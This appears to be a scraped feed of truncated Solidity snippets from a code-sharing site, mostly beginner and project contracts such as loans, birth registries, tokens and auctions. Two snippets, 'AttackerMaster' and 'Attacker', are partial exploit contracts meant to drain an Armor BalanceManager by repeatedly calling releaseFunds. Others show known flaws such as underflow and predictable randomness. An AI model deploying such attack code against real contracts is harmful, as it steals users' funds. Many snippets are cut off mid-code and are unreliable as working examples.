	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Request info
	bytes32[] public requestIDs;
	mapping(bytes32 => LoanRequest) public requests;
	
	// Loan info. // one loan per user.
	mapping(address 
Feb 10, 2021 02:34:02 UTC
pragma solidity ^0.4.24;

contract A {

	string public result;

	function TestURLBuilder(uint _time, string _ticker, uint _days) {

        // result = uintToString(12345678901234567890);
        result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
        result = appendUintToString(result, _time);
        result = string(abi.encodePacked(result,"&days="));
        result = appendUintToString(result, _days);
    }

	function uintToString(uint v) constant returns (string str) {
        uint maxlength = 100;
        bytes memory reversed = new bytes(maxlength);
        uint i = 0;
        while (v != 0) {
            uint remainder = v % 10;
            v = v / 10;
            reversed[i++] = byte(48 + remainder);
        }
        bytes memory s = new bytes(i);
        for (uint j = 0; j < i; j++) {
            s[j] = reversed[i - 1 - j];
        }
        str = string(s);
    }

    function appendUintToString(string inStr, 
Feb 09, 2021 20:35:08 UTC
pragma solidity 0.8.0;

/*
    This contract will be the new Master contract.
    Since a successful exploit requires the BalanceManager to call the function getModule(),
    this contract serves only to return the malicious attack contract.
*/
contract AttackerMaster {
    
    // The contract where the attack exploit lays (attacker.sol, https://ethfiddle.com/sadCsoPiJV)
    address attackAddress;
    
    
    function getModule(bytes32 _key) external returns(address) {
        returns(attackAddress);
    }
    
    constructor(address attackAddress_) {
        attackAddress = attackAddress_;
    }
Feb 09, 2021 19:12:11 UTC
pragma solidity 0.8.0;

interface ArmorBalanceManager {
    function releaseFunds() external;
}

contract Attacker {
    
    // Make sure that only the hacker can call this malicious contract
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    address armorBalanceManagerAddress;
    address owner;
    
    // The rewardBalance state of the BalanceManager contract
    uint rewardBalance;
    
    // The govBalance state of the BalanceManager contract
    uint govBalance;
    
    // Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
    constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
        armorBalanceManagerAddress = armorBalanceManagerAddress_;
        rewardBalance = rewardBalance_;
        govBalance = govBalance_;
        owner = msg.sender;
    }
    
    /*
        Attack the armor contract by calling releaseFunds until the contract is empty.
        Th
Feb 09, 2021 14:46:47 UTC
pragma solidity 0.8.0;

interface ArmorBalanceManager {
    function releaseFunds() external;
}

contract Attacker {
    
    // Make sure that only the hacker can call this malicious contract
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    address armorBalanceManagerAddress;
    address owner;
    
    // The rewardBalance state of the BalanceManager contract
    uint rewardBalance;
    
    // The govBalance state of the BalanceManager contract
    uint govBalance;
    
    // Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
    constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
        armorBalanceManagerAddress = armorBalanceManagerAddress_;
        rewardBalance = rewardBalance_;
        govBalance = govBalance_;
        owner = msg.sender;
    }
    
    /*
        Attack the armor contract by calling releaseFunds until the contract is empty.
        Th
Feb 09, 2021 14:45:53 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistoryOracle{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Request info
	bytes8[] public requestIDs;
	mapping(bytes8 => LoanRequest) public requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) public userLoan;
	mapping(
Feb 09, 2021 03:54:39 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    


    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistory{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistory) borroweCreditHistory;
	
	
	    
	
	

	
	
	
	
Feb 09, 2021 03:16:07 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistory{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistory) borroweCreditHistory;
	
	
	    
	
	

	
	
	
	
Feb 09, 2021 03:15:14 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /****
Feb 07, 2021 18:56:24 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /****
Feb 07, 2021 17:54:13 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /*******
Feb 07, 2021 17:50:54 UTC
pragma solidity 0.4.24;

// Testing Uint256 underflow and overflow in Solidity
h
contract UintWrapping {
    uint public zero = 0;
    uint public max = 2**256-1;
    
    // zero will end up at 2**256-1
    function zeroMinus1() public {
        zero -= 1;
    }
    // max will end up at 0
    function maxPlus1() public {
        max += 1;
    }
Feb 06, 2021 16:52:23 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthCert {

  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubadd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubadd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    uint hospitalId;
    uint muncipalityId;
  }

  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (uint=>bool) public bcApprove;
  mapping (bytes32=>uint) verifyedBc;
  uint public hID = 256;
  uint public mID = 512;
  uint public bCID = 1024;

  modifier onlyGov(){
    require(gov == msg.sender,"only Gov");
    _;
  }
  modifier onlyHospital(uint id){
    require(hospital[id].pubadd == msg.sender,"only Hospital
Feb 05, 2021 20:55:59 UTC
pragma solidity 0.7.1;

contract CCRequest
{
    address public Owner;
    address public BankAgent;
    string public LockerFriendlyName;
    string public LockerIdentifier;
    address public CurrentAuthorizedUser;
    string public ExpirationDate;
    string public Image;
    address public ThirdPartyRequestor;
    string public IntendedPurpose;
    string public LockerStatus;
    string public RejectionReason;

    enum StateType { Requested, UnderReview, Approved, Rejected }
    StateType public State;

    constructor(string memory lockerFriendlyName, address bankAgent) public
    {
        Owner = msg.sender;
        LockerFriendlyName = lockerFriendlyName;

        State = StateType.Requested;

        BankAgent = bankAgent;
    }

    function BeginReviewProcess() public
    {
        if (Owner == msg.sender)
        {
            revert();
        }
        BankAgent = msg.sender;

        LockerStatus = "Pending";
        State = StateType.DocumentReview;
    }

    function RejectApplication(strin
Feb 05, 2021 20:28:13 UTC
pragma solidity 0.8.0;

contract Smart2 {


    struct Play  {
        address payable player;
        uint256 timestamp;
    }

  
    mapping(uint => mapping(uint => Play)) public seassons;

    constructor() {
        //1 not working  (Compiled)
        // Works
        seassons[0][0] = Play(payable(msg.sender), block.timestamp);
        
        
        //2 not working (Compiled)
        // Works
        Play storage player = seassons[0][0];
        
        // When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
        player.player = payable(msg.sender);
        player.timestamp = block.timestamp;
        
        // Kept it commented out, look at line 17
        //seassons[0][0] = Play(msg.sender, block.timestamp);
        
        // Won't work, look at line 17
        // seassons.push([(Play(msg.sender, block.timestamp))]);
        

    }
    
Jan 31, 2021 22:00:06 UTC
pragma solidity 0.8.0;

contract Smart2 {


    struct Play  {
        address payable player;
        uint256 timestamp;
    }

  
    mapping(uint => mapping(uint => Play)) public seassons;

    constructor() {
        //1 not working  (Compiled)
        
        seassons[0][0] = Play(payable(msg.sender), block.timestamp);
        
        
        //2 not working (Compiled)
        Play storage player = seassons[0][0];
        
        // When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
        player.player = payable(msg.sender);
        player.timestamp = block.timestamp;
        
        // Kept it commented out since it was defined equally in line 17
        //seassons[0][0] = Play(msg.sender, block.timestamp);
        
        // Use as line 17
        // seassons.push([(Play(msg.sender, block.timestamp))]);
        

    }
    
Jan 31, 2021 21:58:21 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Inbox {
  string public message;

  function Inbox(string initialMessage) public {
    message = initialMessage;
  }

  function setMessage(string newMessage) public {
    message = newMessage;
  }

  function getMessage() public view returns (string) {
    return message;
  }
Jan 27, 2021 15:23:40 UTC
pragma solidity ^0.7.0;
//SPDX-License-Identifier: UNLICENSED

contract sanity_check {
    function welcome() public pure returns (string memory){
        return "flag{}";
    }
}
Jan 24, 2021 23:23:29 UTC
pragma solidity ^0.6.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function decimals() external view returns (uint);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
     
Jan 23, 2021 20:35:31 UTC
pragma solidity ^0.6.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function decimals() external view returns (uint);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
     
Jan 23, 2021 20:31:46 UTC
pragma solidity ^0.5.0; 


 interface RegisterSC{
      
        function isBuyerExist(address addr) external view returns (bool); 
    }
    
contract PlasticBale{
    

    address[] public plasticBale; 
    address payable[] public contributors; 
     address payable[] public tempArray; 
     uint public contribution;  //Added here
   
 // Bid variables 
      bool public isOpen; 
      uint public highestBid; 
      address payable public highestBidder; 
      uint public startTime; 
      uint public endTime; 

  
  struct buyer{
      bool isExist; 
      uint placedBids; 
      uint deposit; 
  }
  
  //Bidder[BuyerAddress]
  mapping(address=>buyer) bidder; 
  
  //Seller is the auctionOwner 
   address payable public auctionOwner;
   
   // Bidders are the Buyers 
   uint totalBidders; 
    
    constructor(address[] memory _plasticBale, address payable[] memory _contributors, address payable seller ) public {
      plasticBale = _plasticBale; 
      contributors = _contributors; 
      auctionOwner =
Jan 23, 2021 18:52:38 UTC
pragma solidity 0.5.12;


contract TickeTron {

    // Struct TicketSequence
    // it consists of uint8 array of 6 elements;
    struct TicketProof {
        uint256 value;
        uint256 ticketTime;
    }

    struct Player {
        
        uint256 id;

        address payable wallet;

        // Dynamic Array of TicketSequence
        TicketProof[] tickets;

        uint256 ticketsCount;

    }

    // TRON Address for Admin
    address payable public owner;

    // Map for User Address and User Object
    mapping(address => Player) public players;


    /** Price for a Ticket - it would be TRON in future 
      For now I mean this is 0.01ETH
    */
    uint private ticketPrice = 1000000000;

    
    /** Counters */
    uint256 public total_users = 50;
    uint256 public total_deposited;
    uint256 public total_withdraw;


    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }


    constructor(address payable _owner) public {
        
        owner = _owner;

    }
    
   
Jan 19, 2021 21:44:55 UTC
/*
https://trx.is - decentralized investment platform based on TRON cryptocurrency.

email: [email protected]
telegram channel: @trxis
*/

pragma solidity 0.4.21;

contract TRXIS {
  

    struct Tariff {
        uint256 time;
        uint256 percent;
    }

    struct Deposit {
        uint256 tariff;
        uint256 amount;
        uint256 at;
    }

    uint256 DAY = 28800;
    uint256 MIN_DEPOSIT = 100000000;
    uint256 START_AT = 2762825;
    uint256 timesmp  = 1610801709000;

    event DepositAt(address user, uint256 tariff, uint256 amount);

    function checkRandom() public view returns (uint256) {
        return random();
    }
    function random() internal view returns (uint256) {
    
        uint256 randomnumber = uint256(
          
            keccak256(timesmp, "TQdVjFryFPNS176yzchTW1QzpjiV2c6x7S")
        ) % 999;
        randomnumber = randomnumber / 4 + 1;

        if (randomnumber > 0 && randomnumber <= 250) {
            return randomnumber;
        }
        if (randomnumber == 251) {
      
Jan 19, 2021 14:58:32 UTC
/*
https://trx.is - decentralized investment platform based on TRON cryptocurrency.

email: [email protected]
telegram channel: @trxis
*/

pragma solidity 0.4.21;

contract TRXIS {
  

    struct Tariff {
        uint256 time;
        uint256 percent;
    }

    struct Deposit {
        uint256 tariff;
        uint256 amount;
        uint256 at;
    }

    uint256 DAY = 28800;
    uint256 MIN_DEPOSIT = 100000000;
    uint256 START_AT = 2762825;


    event DepositAt(address user, uint256 tariff, uint256 amount);

    function checkRandom() public view returns (uint256) {
        return random();
    }
    function random() internal view returns (uint256) {
    
        uint256 randomnumber = uint256(
            keccak256(now, msg.sender)
        ) % 999;
        randomnumber = randomnumber / 4 + 1;

        if (randomnumber > 0 && randomnumber <= 250) {
            return randomnumber;
        }
        if (randomnumber == 251) {
            return randomnumber - 250 + 1;
        }
        if (randomnumber == 0) 
Jan 19, 2021 14:48:56 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

contract Groups {
    mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => 
    mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => 
    mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => bool))))))))))))))))))))))))))) userGroups;
    constructor() {
        userGroups[msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender]
                  [msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender]
                  [msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sen
Jan 18, 2021 10:52:18 UTC
pragma solidity ^0.6.2;

contract A {
  address contractMaker = "0xF24DAf3feAA60F9b4a149E14d306c1536B925ce2";
  address contractReceiver = "0xF24DAf3feAA60F9b4a149E14d306c1536B925ce2";
  string contractDetail = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
  uint256 contractDeadline = 1700000000;
  bool isDiscardWithDeadline = false;
  bool isDoneByMaker = false;
  bool isDoneByReciver = false;
}
Jan 18, 2021 01:40:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Foo {

  struct Item {
        uint[] test;
    }
    mapping (bytes32 => Thing) things;

    struct Thing {
        Item[] items;
    }

    function Foo(bytes32 id) {
        Thing memory thing = Thing(new Item[](1));
        things[id] = thing;
    }
Jan 17, 2021 21:45:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.6.4;

contract Collections {
  struct User{
    address userAddress;
    uint balance;
  }

  Users[] users;

  function getUsers() external returns()

Jan 17, 2021 20:57:40 UTC
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;

import "https://github.com/sushiswap/sushiswap/blob/master/contracts/uniswapv2/interfaces/IUniswapV2Router02.sol";

import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/FlashLoanReceiverBase.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";


struct Swap {
    address pool;
    address tokenIn;
    address tokenOut;
    uint    swapAmount; // tokenInAmount / tokenOutAmount
    uint    limitReturnAmount; // minAmountOut / maxAmountIn
    uint    maxPrice;
}

interface IBalancerProxy {
    function smartSwapExactIn(TokenInterface tokenIn, TokenInterface tokenOut, uint totalAmountIn, uint minTotalAmountOut, uint nPools) 
        external
        payable
        returns (uint totalAmountOut);
    function viewSplitExactIn(address tokenIn, address tokenOut, uint swapAmount, uint nPools)
Jan 17, 2021 11:20:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jan 17, 2021 10:36:03 UTC
pragma solidity >=0.7.0 <0.8.0;

contract Person{
    
    
    string welcomeMessage;
    
    uint personCount = 0;
    
    enum status {active, inactive, deleted}
    
    constructor() {
        welcomeMessage = "Welcome to this test contract";
    }
    
    struct PersonInfo {
        uint serial_number;
        uint name;
        string email;
        uint mobile;
        status personStatus;
        string location;
        string date;
    }
    
    PersonInfo[] public persons;
    
    function addPerson(uint serial_number, uint name, string memory email, uint mobile, status personStatus, string memory location, string memory date) public{

        personCount ++;
        
        persons[personCount] = PersonInfo(serial_number, name, email, mobile, personStatus, location, date);
        
    }
    
    function getPerson(uint personId) public {
        
        PersonInfo memory person;
         
        person = persons[personId];
        
    }
Jan 16, 2021 14:07:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract StructArrayInitWrong {
  struct Room {
    address[] guests;       
  }  
  Room[] rooms;

  function createRoom() public {
    address[] adr;
    adr.push(msg.sender);
    Room memory room = Room(adr);   
    rooms.push(room);
  }

  function getRoomsLength() view returns (uint) {
    return rooms.length;
  }
Jan 16, 2021 12:50:39 UTC
pragma solidity ^0.5.10;

import '../interfaces/JustswapExchange.sol';
import '../interfaces/ITRC20.sol';


contract Epsilon {
    address payable owner;
    event Start(uint256 value);
    event End(uint256 value);
    constructor() public {
        owner = msg.sender;
    }
    
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    uint256 public balancebefore;
    uint256 public balanceafter;
        
    function() external payable {}
      
     function buyJsSellPolo(address payable dex2, uint256 amountA,address tokenA,address payable dex1, address tokenB,   uint256 amountB, uint256 price,uint256 precision, uint256 TrxToPay) public payable onlyOwner {
     
        uint256 balancebefore = address(this).balance;
        emit Start(address(this).balance);
        emit Start(balancebefore);
        TRC20 TokenContract = TRC20(tokenA);  
        address payable Dex2 = address(dex2);
        JustswapExchange DiceFactory=JustswapExchange(dex1);
        address (TokenContract).ca
Jan 16, 2021 12:34:15 UTC

contract SolidityTest {
   uint totalSupply; 
   function f(uint len) public pure {
      uint256 a = 99999999999999999999999999999999999999999999999999999999999999999; 
      uint256 b = 99999999999999999999999999999999999999999999999999999999999999999;
      uint256  totalSupply;
    
      while (a >= 1){
      uint(a += 999999999999999999999999999999999999999999999999999999999999999);
        uint (a * b);
      }
        totalSupply = (a * b);
   }
Jan 15, 2021 11:13:27 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

interface tokenRecipient {
    function receiveApproval(
        address _from,
        uint256 _value,
        address _token,
        bytes _extraData
    ) public;
}

contract ERC20Token {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Burn(address indexed from, uint256 value);

    function ERC20Token(
        string _tokenName,
        string _tokenSymbol,
        uint8 _decimals,
        uint256 _totalSupply
    ) public {
        name = _tokenName;
        symbol = _tokenSymbol;
        decimals = _decimals;
        totalSupply = _totalSupply * 10**uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
    }

    f
Jan 14, 2021 18:02:43 UTC
pragma solidity ^0.4.26;
contract SimpleStore {
  function testGas1(uint a, uint b) pure public returns (bool) {
    if (a == 1 && b == 2) {
      return true;
    }
    return false;
  }

  function testGas2(uint a, uint b) pure public returns (bool) {
    return (a == 1 && b == 2);
  }
Jan 14, 2021 04:00:02 UTC
pragma solidity ^0.4.26;
contract SimpleStore {
  function testGas1(uint a, uint b) pure public returns (bool) {
    if (a == 1 && b == 2) {
      return true;
    }
    return false;
  }

  function testGas2(uint a, uint b) pure public returns (bool) {
    return (a == 1 && b == 2);
  }
Jan 14, 2021 03:58:20 UTC
pragma solidity ^0.5.10;

import '../interfaces/JustswapExchange.sol';
import '../interfaces/ITRC20.sol';

contract Epsilon {
    
    address payable owner;
    constructor() public {
         owner = msg.sender;
     }
    
    modifier onlyOwner {
    require(msg.sender == owner);
  _;
}

     JustswapExchange DiceFactory=JustswapExchange(0x60805dDed595bd1D86E148b9db31a777F25F8137);
     address payable PoloniDex = address(0x41b3bddae866b2ce2349bdcb59dfbfa1a75f8552da);
     TRC20 DiceToken = TRC20(0x416ce0632a762689a207b9cce915e93aa9596816ca);
  
        function Poloapprove(address _tokenA,uint256 _amountA,address _tokenB,uint256 _amountB,uint256 _price) public payable {
        ITRC20 TokenContract = ITRC20(_tokenA);  
        address (TokenContract).call(abi.encodeWithSignature("approve(address,uint256)",PoloniDex,_amountA));
         
        }

        function PoloSell(address _tokenA,uint256 _amountA,address _tokenB,uint256 _amountB,uint256 _price) public payable {
        address (PoloniDex).call(a
Jan 13, 2021 20:54:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jan 13, 2021 02:33:41 UTC
// SPDX-License-Identifier: MIT
interface IERC20 {
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

// @dev using 0.8.0.
// Note: If changing this, Safe Math has to be implemented!
pragma solidity 0.8.0;
contract RGPTokenSale {
    
    address public busd = 0x417Bf7C9dc415FEEb693B6FE313d1186C692600F;
    address public rgp  = 0x9bF88fAe8CF8BaB76041c1db6467E7b37b977dD7;
    address public owner;
    uint    public price;
    
    uint256 public tokensSold;
    uint256 public decimals;
    
    bool    public saleActive;
    
    // Emitted when tokens are sold
  
Jan 10, 2021 18:30:40 UTC
// SPDX-License-Identifier: MIT
/**
 *Submitted for verification at Etherscan.io on 2021-01-03
*/
interface IERC20 {
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface V2 {
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) e
Jan 09, 2021 03:55:45 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ZombieLevelUp {
    
    struct Zombie {
      uint32 level;
      uint32 winCount;
    }

    Zombie public zombie; 

    function levelUpZombie() payable public  {
      require (msg.value == 1 ether || zombie.winCount >= 10 * zombie.level);
      zombie.winCount = 0;
      zombie.level++;
    }

    function winBattle() public {
      zombie.winCount++;
    }

Jan 08, 2021 14:40:25 UTC
pragma solidity ^0.4.18;
contract CallToTheUnknown {
  // Highest bidder becomes the Leader. 

    address currentLeader;
    uint highestBid;

    function() public payable {
        require(msg.value > highestBid);
        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}
Jan 05, 2021 13:43:10 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;

//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solid
Dec 30, 2020 00:25:25 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;

//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solid
Dec 30, 2020 00:25:02 UTC
        
        
        
        uint256[] private _allAmountArray;
        uint256 private _low = 0;

        function findAmountAverage(uint256[] storage array) internal view returns (uint256, uint256) {
            if (array.length == 0 || _low == 0) {
                return (0, 0);
            }
            uint256 low = array.length.sub(_low);
            uint256 high = array.length;
            uint256 totalAmount = 0;
            uint256 mid = 0;

            while (low < high) {
                uint256 lowAmount = array[low];
                totalAmount = totalAmount.add(lowAmount);
                low += 1;
            } 
            mid = totalAmount.div(_low);
            return (mid, totalAmount);
        }

        function _getMid() public view returns(uint256, uint256){
            (uint256 mid, uint256 tAmountAvarage) = findAmountAverage(_allAmountArray);
